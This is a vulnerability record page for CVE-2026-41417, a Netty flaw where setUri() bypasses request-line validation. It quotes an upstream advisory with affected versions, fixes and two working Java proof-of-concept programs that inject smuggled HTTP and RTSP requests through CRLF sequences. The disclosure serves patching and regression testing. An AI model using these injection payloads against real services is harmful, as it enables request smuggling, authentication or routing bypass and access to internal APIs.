HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 41417 netty start line injection in
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
Medium · CVSS 5.3CVE-2026-41417GHSA-V8H7-RR48-VMMV

Netty: Start-Line Injection in DefaultHttpRequest.setUri() Allows HTTP Request Smuggling and RTSP Request InjectionCVE-2026-41417

Answer in brief

CVE-2026-41417 records a Medium severity (CVSS 5.3) vulnerability in Netty: Start-Line Injection in DefaultHttpRequest.setUri() Allows HTTP Request Smuggling and RTSP Request Injection. The current sources do not mark it as known exploited. The current feed maps io.netty:netty-codec-http (maven), io.netty:netty-codec-http (maven). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published May 5, 2026Updated Sep 10, 2026Source checked Oct 25, 2026First seen by HOL Sep 10, 2026Material review Sep 10, 2026
Upstream Advisory

Key facts

Risk
Medium · CVSS 5.3
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 5.3. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps io.netty:netty-codec-http (maven), io.netty:netty-codec-http (maven). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
io.netty:netty-codec-httpmaven>=0 <4.1.133.Final4.1.133.Final
io.netty:netty-codec-httpmaven>=4.2.0.Alpha1 <4.2.13.Final4.2.13.Final

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for io.netty:netty-codec-http, io.netty:netty-codec-http.
  2. 2Review the reported fix. Update io.netty:netty-codec-http to 4.1.133.Final; io.netty:netty-codec-http to 4.2.13.Final if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    May 5, 2026

    Evidence: source:osv:source_dates:source-dates:record
  2. Source modified

    Sep 10, 2026

    Evidence: source:osv:source_dates:source-dates:record
  3. First seen by HOL

    Sep 10, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
Upstream source description

### Summary Netty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`. The constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests. In practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side. ### Details The root issue is that URI validation exists only on the constructor path, but not on the public setter path. - `io.netty.handler.codec.http.DefaultHttpRequest` - The constructor calls `HttpUtil.validateRequestLineTokens(method, uri)` - `setUri(String uri)` only performs `checkNotNull` and does not validate - `io.netty.handler.codec.http.DefaultFullHttpRequest` - `setUri(String uri)` delegates to the parent implementation - `io.netty.handler.codec.http.HttpRequestEncoder` - Writes `request.uri()` directly into the request line - `io.netty.handler.codec.rtsp.RtspEncoder` - Writes `request.uri()` directly into the request line This creates the following bypass: 1. An application creates a `DefaultHttpRequest` or `DefaultFullHttpRequest` with a safe URI 2. Later, attacker-influenced input is passed into `setUri()` 3. `HttpRequestEncoder` or `RtspEncoder` encodes that value verbatim 4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests This appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API. ### PoC (HTTP) The following code first creates a normal request object and then injects a malicious request line using `setUri()`. ```java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.DefaultHttpRequest; import io.netty.handler.codec.http.HttpMethod; import io.netty.handler.codec.http.HttpRequestEncoder; import io.netty.handler.codec.http.HttpServerCodec; import io.netty.handler.codec.http.HttpVersion; import io.netty.util.CharsetUtil; public final class HttpSetUriSmugglePoc { public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder()); EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec()); DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.GET, "/safe"); request.setUri("/s1 HTTP/1.1\r\n" + "\r\n" + "POST /s2 HTTP/1.1\r\n" + "content-length: 11\r\n\r\n" + "Hello World" + "GET /s1"); client.writeOutbound(request); ByteBuf outbound = client.readOutbound(); System.out.println("=== Raw encoded request ==="); System.out.println(outbound.toString(CharsetUtil.US_ASCII)); System.out.println("=== Decoded by HttpServerCodec ==="); server.writeInbound(outbound.retainedDuplicate()); Object msg; while ((msg = server.readInbound()) != null) { System.out.println(msg); } outbound.release(); client.finishAndReleaseAll(); server.finishAndReleaseAll(); } } ``` When reproduced, the raw encoded request looks like this: ```http GET /s1 HTTP/1.1 POST /s2 HTTP/1.1 content-length: 11 Hello WorldGET /s1 HTTP/1.1 ``` `HttpServerCodec` then parses this as multiple HTTP messages rather than a single request: - `GET /s1` - `POST /s2` with body `Hello World` - trailing `GET /s1` This confirms that the value supplied through `setUri()` is interpreted on the wire as additional requests. ### PoC (RTSP) The same root cause also affects `RtspEncoder`. A minimal reproduction is shown below. ```java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.DefaultHttpRequest; import io.netty.handler.codec.rtsp.RtspDecoder; import io.netty.handler.codec.rtsp.RtspEncoder; import io.netty.handler.codec.rtsp.RtspMethods; import io.netty.handler.codec.rtsp.RtspVersions; import io.netty.util.CharsetUtil; public final class RtspSetUriSmugglePoc { public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder()); EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder()); DefaultHttpRequest request = new DefaultHttpRequest( RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, "rtsp://safe/media"); request.setUri("rtsp://cam/stream RTSP/1.0\r\n" + "CSeq: 1\r\n\r\n" + "DESCRIBE rtsp://cam/secret RTSP/1.0\r\n" + "CSeq: 2\r\n\r\n" + "OPTIONS rtsp://cam/final"); client.writeOutbound(request); ByteBuf outbound = client.readOutbound(); System.out.println("=== Raw encoded RTSP request ==="); System.out.println(outbound.toString(CharsetUtil.US_ASCII)); System.out.println("=== Decoded by RtspDecoder ==="); server.writeInbound(outbound.retainedDuplicate()); } } ``` When reproduced, `RtspEncoder` generates consecutive RTSP requests in a single encoded payload: ```text OPTIONS rtsp://cam/stream RTSP/1.0 CSeq: 1 DESCRIBE rtsp://cam/secret RTSP/1.0 CSeq: 2 OPTIONS rtsp://cam/final RTSP/1.0 ``` `RtspDecoder` then parses this as three separate RTSP requests: - `OPTIONS rtsp://cam/stream` - `DESCRIBE rtsp://cam/secret` - `OPTIONS rtsp://cam/final` This confirms that the same setter bypass is exploitable for RTSP request injection as well. ### Impact The vulnerable conditions are: - The application uses `DefaultHttpRequest` or `DefaultFullHttpRequest` - The request object is created first and later modified through `setUri()` - The value passed into `setUri()` is attacker-controlled or attacker-influenced - The object is eventually serialized by `HttpRequestEncoder` or `RtspEncoder` Under those conditions, an attacker may be able to: - perform HTTP request smuggling - trigger proxy/backend desynchronization - inject additional requests toward internal APIs - confuse request boundaries and bypass assumptions around authentication or routing - inject RTSP requests The exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible. ### Root Cause Validation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant. As a result, the constructors are safe while the public `setUri()` path is not, and the encoders trust and serialize the mutated value without revalidation. ### Suggested Fix Direction `DefaultHttpRequest.setUri()` and all delegating/inheriting paths should apply the same request-line token validation as the constructors. Recommended regression coverage: - verify that `setUri()` rejects CRLF-containing input after object construction - verify that `DefaultFullHttpRequest.setUri()` is blocked as well - verify that spaces, `\r`, `\n`, and request-smuggling payloads are rejected - verify that both `HttpRequestEncoder` and `RtspEncoder` are protected from setter-based bypasses ### Affected Area - `netty-codec-http` - `io.netty.handler.codec.http.DefaultHttpRequest` - `io.netty.handler.codec.http.DefaultFullHttpRequest` - `io.netty.handler.codec.http.HttpRequestEncoder` - `io.netty.handler.codec.rtsp.RtspEncoder`

Quoted source text, attributed separately from HOL analysis.

Record context

Vulnerability class
Missing Auth
EPSS
Not reported
CWE IDs
Not reported
Source
OSV
Source checked
Oct 25, 2026
References
3 linked sources
Open source record